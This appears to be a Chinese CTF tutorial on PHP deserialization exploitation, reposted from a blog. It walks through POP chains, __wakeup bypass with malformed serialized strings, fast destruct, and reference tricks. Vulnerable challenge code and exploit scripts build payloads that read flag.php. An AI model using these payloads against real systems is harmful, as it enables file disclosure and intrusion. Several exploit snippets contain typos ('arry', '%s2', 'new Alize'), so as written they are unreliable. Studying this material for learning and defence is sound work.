欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 美食 > php反序列化

php反序列化

2025/2/22 16:28:45 来源:https://blog.csdn.net/dkxkl1314/article/details/139614480  浏览:    关键词:php反序列化

一、POP链

1.寻找POP链思路:

  • 寻找起点,也就是启动反序列化的地方——>unserialize函数

  • 寻找终点,反序列化想要执行的函数(造成危害的地方),重点找魔术方法

  • 找链接起点和终点的方法,将起点和终点连接起来(从终点往前推,什么可以触发终点),一层一层研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法

  • 根据我们要控制的属性,构造序列化数据,发起攻击

例题:

<?php
error_reporting(0);
class Vox{protected $headset;public $sound;public function fun($pulse){include($pulse);}public function __invoke(){$this->fun($this->headset);}
}
class Saw{public $fearless;public $gun;public function __construct($file='index.php'){$this->fearless = $file;echo $this->fearless . ' You are in my range!'."<br>";}public function __toString(){$this->gun['gun']->fearless;return "Saw";}public function _pain(){if($this->fearless){highlight_file($this->fearless);}}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){echo "Does it hurt? That's right";$this->fearless = "index.php";}
}
}
class Petal{public $seed;public function __construct(){$this->seed = array();}public function __get($sun){$Nourishment = $this->seed;return $Nourishment();}
}
if(isset($_GET['ozo'])){unserialize($_GET['ozo']);
}
else
{$Saw=new Saw('index.php');$Saw->_pain();
}
​

分析:

  • 起点: unserialize($_GET['ozo']);参数可控

  • 终点:fun()函数

  • 连接起点终点,触发fun(),首先要触发invoke() ,触发invoke就要将对象当成函数调用,那么只有get(),触发get那么就要访问一个它不存在的属性,那么就可以确定到toString,让gun['gun']=Petal,那么触发toString,就确定到了wakeup,触发wakeup,就要用到unserialize($_GET['ozo']),这样起点和终点就连接起来了。

    unserialize($_GET['ozo'])
    Saw::__wakeup
    Saw::__toString,$this->gun['gun']=Petal
    Petal::__get,$Nourishment = $this->seed=Vox
    Vox::__invoke
    Vox::fun

  • 构造利用链

    $v=new Vox();
    $p=new Petal();
    $p->seed=$v;触发Vox
    $s=new Saw();
    $s->gun=arry('gun'=>$p);触发get
    $s2=new Saw();
    $s2->fearless=$s;触发toString
    echo urlencode(serialize(%s2));触发wakeup
    ​

    最后我们触发了fun(),这里是文件包含,如果直接传递我们的构造的反序列化数据则会执行flag.php,所以我们要使用php://filter伪协议来查看文件

    protected $headset='php://filter/convert.base64-encode/resource=flag.php';

  • exp

<?php
error_reporting(0);
class Vox{protected $headset='php://filter/convert.base64-encode/resource=flag.php';
​
}
class Saw{public $fearless;public $gun;
}
class Petal{public $seed;
}
$v=new Vox();
$p=new Petal();
$p->seed=$v;触发Vox
$s=new Saw();
$s->gun=arry('gun'=>$p);
$s2=new Saw();
$s2->fearless=$s;
echo urlencode(serialize(%s2));

二、 畸形序列化字符串

1.认识畸形序列化字符串

畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。

应用领域:

  • 绕过 __wakeup()

  • 快速析构(fast destruct):绕过过滤函数,提前执行 __destruct

2.绕过__wakeup

由于使用unserialize()函数后会立即触发 wakeup ,为了绕过 wakeup 中的安全机制,可以用修改属性数量的方式绕过 __wakeup 方法。受影响版本:

php5.0.0 ~ php5.6.25

php7.0.0 ~ php7.0.10

绕过方法:

  • 反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:

    //标准序列化数据
    O:3:"BUU":2:{s:7:"correct";N;s:5:"input";R:2;}
    //修改为:
    O:3:"BUU":3:{s:7:"correct";N;s:5:"input";R:2;}
  • 增加真实属性的个数,比如:

    原始序列化数据
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
    增加真实属性的个数
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}
    或者:
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";s:1:"n":N;}}

<?php
class dk{public $name;function __wakeup(){echo "wakeup\n";}function __destruct(){echo "destruct\n";}function test(){echo "test\n";}
}   
echo serialize(new dk)
?>

destruct魔术方法会自动执行,在程序执行结束时会销毁对象,触发destruct

触发wakeup

<?php
​
class dk{public $name;function __wakeup(){echo "wakeup\n";}function __destruct(){echo "destruct\n";}function test(){echo "test\n";}
}
$a = 'O:2:"dk":1:{s:4:"name";N;}';
unserialize($a);
?>

使用使用unserialize时触发wakeup

绕过wakeup

<?php
error_reporting(0);
class dk{public $name;function __wakeup(){echo "wakeup\n";}function __destruct(){echo "destruct\n";}function test(){echo "test\n";}
}
$a = 'O:2:"dk":2:{s:4:"name";N;}';
unserialize($a);
?>

更改属性数量达到饶过wakeup效果

3.快速析构

快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法( destruct() )。应用场景:某些题目需要利用 destruct 才能获取flag,但是 destruct 是在对象被销毁时才触发(执行顺序太靠后), destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发destruct 方法。

畸形字符串的构造

  • 改掉属性的个数

  • 删掉结尾的 }

例题

<?php
class DemoX{protected $user;protected $sex;function __construct(){$this->user = "guest";$this->sex = "male";}function __wakeup(){$this->user = "Guest";$this->sex = "female";}function __toString(){return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";}function __destruct(){echo $this;}
}
class Demo2{private $fffl4g;function __construct($file){$this->fffl4g = $file;}function __toString(){return file_get_contents($this->fffl4g);}
}
if(!isset($_GET['poc'])){highlight_file("index.php");
}
else{$user = unserialize($_GET['poc']);
}

解题步骤:

  • 起点:$user = unserialize($_GET['poc']);

  • 终点:Demo2->function __toString(){}

  • 连接起点终点

$user = unserialize($_GET['poc'])
//绕过__wakeup,改变序列化数据属性数量
DemoX::__toString()
Demo2::__toString()
  • 构造利用链

$x = new DemoX();
$x = serialize(x);//用这个正常的和下面url编码后的对比找出属性个数,进行更改绕过wakeup
echo $x. "\n";
echo urlencode($x);
  • exp

<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){$this->user = new Demo2;$this->sex = "xxx";
}
}
class Demo2{private $fffl4g="flag.php";
}
$x = new DemoX();
$x = serialize(x);
echo $x. "\n";
echo urlencode($x);

三、指针问题

1.指针

用 & 符号可以进行指针引用,类似于C语言中的指针。

例如:$a=&$b;

例题

<?php
class Seri{public $alize;public function __construct($alize) {$this->alize = $alize;}public function __destruct(){$this->alize->getFlag();}
}
​
class Flag{public $f;public $t1;public $t2;
​function __construct($file){echo "Another construction!!";$this->f = $file;$this->t1 = $this->t2 = md5(rand(1,10000));}
​public function getFlag(){$this->t2 = md5(rand(1,10000));echo $this->t1;echo $this->t2;if($this->t1 === $this->t2){if(isset($this->f)){echo @highlight_file($this->f,true);}}}
}
$p = $_GET['P'];
if (isset($p)) {$p = unserialize($p);
} else {show_source(__FILE__);echo "NONONO";
}
​
?>

exp

<?php
class Seri{public $alize;}
​
class Flag{public $f;public $t1;public $t2;
​}
​
?>
$f=new Alize;
$f->f='flag.php';
$f->t1=&$f->t2;//运用指针触发
$s=new Seri;
$s->alize=$f;
echo(urlencode(serialize($s)));

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词